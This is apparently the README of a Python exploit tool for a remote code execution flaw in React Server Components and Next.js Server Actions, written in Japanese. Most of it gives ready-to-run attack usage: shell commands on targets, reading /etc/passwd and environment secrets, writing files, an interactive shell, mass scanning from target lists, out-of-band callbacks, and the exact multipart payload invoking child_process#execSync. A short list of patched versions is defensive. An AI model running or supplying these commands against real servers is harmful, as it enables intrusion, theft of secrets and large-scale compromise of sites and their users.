CVE-2025-55182 - React Server Components RCEエクスプロイト v2.0
CVE-2025-55182 および CVE-2025-66478 の脆弱性をReact Server Components (RSC) および Next.js Server Actions でテストするための包括的なセキュリティ調査ツール。
脆弱性概要
| プロパティ | 値 |
|---|
| CVE ID | CVE-2025-55182, CVE-2025-66478 |
| CVSSスコア | 10.0 (CRITICAL) |
| 影響を受けるバージョン | React < 19.2.0, Next.js < 15.0.5 |
| 脆弱性タイプ | リモートコード実行 (RCE) |
| 攻撃ベクター | ネットワーク |
機能
- PortSwiggerスタイルの複数の検出ペイロードによる脆弱性スキャン
- 複数のRCEガジェット(execSync、spawnSync、vm.runInThisContextなど)
- ブラインドRCE検証のためのOut-of-Band (OOB) コールバックテスト
- ファイル読み書き機能
- JavaScriptコード実行
- 対話型シェルモード
- マルチスレッドによる一括スキャン
- プロキシサポート(Burp Suite互換)
- JSON/テキスト出力形式
インストール
必要条件
pip install requests
Pythonバージョン
クイックスタート
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
使用方法
コマンドライン引数
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
ターゲット選択
| 引数 | 説明 | 例 |
|---|
-u, --url | 単一ターゲットURL | -u https://target.com |
-l, --list | URLを含むファイル | -l targets.txt |
スキャンモード
| 引数 | 説明 |
|---|
--detect | Next.js/RSCの使用を検出 |
--check | クイック脆弱性チェック(数式テスト) |
--scan | 完全な脆弱性スキャン(PortSwiggerスタイル) |
--test-all | すべてのガジェットと検出ペイロードをテスト |
エクスプロイト
| 引数 | 説明 | 例 |
|---|
--cmd | シェルコマンドを実行 | --cmd "id" |
--gadget | 使用するガジェットを指定 | --gadget execSync |
--read | ターゲットからファイルを読み取り | --read /etc/passwd |
--write | ターゲットにファイルを書き込み | --write /tmp/test.txt "content" |
--js | JavaScriptコードを実行 | --js "process.env" |
--shell | 対話型シェルを起動 | --shell |
--oob | OOBコールバックホスト | --oob xyz.oastify.com |
接続オプション
| 引数 | 説明 | 例 |
|---|
-p, --proxy | HTTP/HTTPSプロキシ | -p http://127.0.0.1:8080 |
-c, --cookies | Cookie文字列 | -c "session=abc123" |
-H, --header | 追加ヘッダー(繰り返し可能) | -H "X-Custom: value" |
-t, --threads | 一括スキャンのスレッド数 | -t 20 |
--timeout | リクエストタイムアウト(秒) | --timeout 60 |
出力オプション
| 引数 | 説明 |
|---|
-o, --output | 結果をファイルに保存(.jsonまたは.txt) |
-q, --quiet | バナーを非表示 |
スキャン例
単一ターゲット
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
一括スキャン
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
エクスプロイト例
コマンド実行
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
ファイル操作
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
JavaScript実行
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
対話型シェル
python3 exploit-custom.py -u https://target.com --shell
シェルコマンド:
| コマンド | 説明 |
|---|
<command> | シェルコマンドを実行 |
!read <file> | ファイルを読み取り |
!write <file> <content> | ファイルに書き込み |
!js <code> | JavaScriptを実行 |
!gadget <name> | ガジェットを切り替え |
exit | シェルを終了 |
利用可能なガジェット
RCEガジェット
| 名前 | モジュールID | 説明 |
|---|
execSync | child_process#execSync | 直接シェルコマンド実行 |
execFileSync | child_process#execFileSync | バイナリファイルの実行 |
spawnSync | child_process#spawnSync | 引数付きでプロセスを起動 |
vm_runInThisContext | vm#runInThisContext | 現在のコンテキストでJSを実行 |
vm_runInNewContext | vm#runInNewContext | サンドボックスエスケープでJSを実行 |
vm_runInThisContext_global | vm#runInThisContext | global.process経由で実行 |
ファイルガジェット
| 名前 | モジュールID | 説明 |
|---|
fs_readFileSync | fs#readFileSync | 任意のファイルを読み取り |
fs_writeFileSync | fs#writeFileSync | 任意のファイルに書き込み |
OOBガジェット
| 名前 | 説明 |
|---|
vm_fetch | fetch APIを介したHTTPリクエスト (Node 18+) |
vm_http | httpモジュールを介したHTTPリクエスト |
検出ペイロード (CVE-2025-66478)
--scanモードでは、以下のPortSwiggerスタイルの検出ペイロードを使用します:
| ペイロード | 説明 |
|---|
property_reference | コロン区切りのプロパティ参照 ["$1:a:a"] |
property_reference_v2 | 代替参照 ["$1:b:b"] |
property_reference_constructor | プロパティ参照によるコンストラクタアクセス |
property_reference_proto | プロパティ参照によるプロトチェーンアクセス |
action_ref_vm | vm#runInThisContextを使ったACTION_REF |
action_ref_execSync | child_process#execSyncを使ったACTION_REF |
OOBコールバックメソッド
このツールは複数のOOBコールバックメソッドをサポートしています:
| メソッド | 説明 |
|---|
curl | curlコマンドによるHTTPリクエスト |
wget | wgetコマンドによるHTTPリクエスト |
nslookup | DNSクエリ |
ping | ICMP ping |
fetch | Node.js fetch API |
http | Node.js httpモジュール |
出力の解釈
ターミナルカラー
| 色 | ステータス | 意味 |
|---|
| 緑 | [VULN] | 脆弱 - RCE確認 |
| 黄 | [PATCH] | パッチ適用済み - Server Actionsは有効だが保護されている |
| 青 | [RSC] | Server Actions検出 |
| シアン | [NEXT] | Next.js検出 |
| 赤 | [ERR] | 接続エラー |
スキャン結果
[VULN] property_reference Vulnerable pattern detected!
-> Error digest pattern: E{"digest"... (needs OOB verification)
[SAFE] property_reference_v2 HTTP 200
[500] action_ref_vm digest:12345
技術的詳細
RSC Flightフォーマット
このツールはReact Server Componentsの"flight format"レスポンスを解析します:
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}
マルチパートペイロード構造
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--
必要なHTTPヘッダー
Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]
パッチ適用済みバージョン
React
Next.js
- 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
使用例
バグバウンティ
# 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt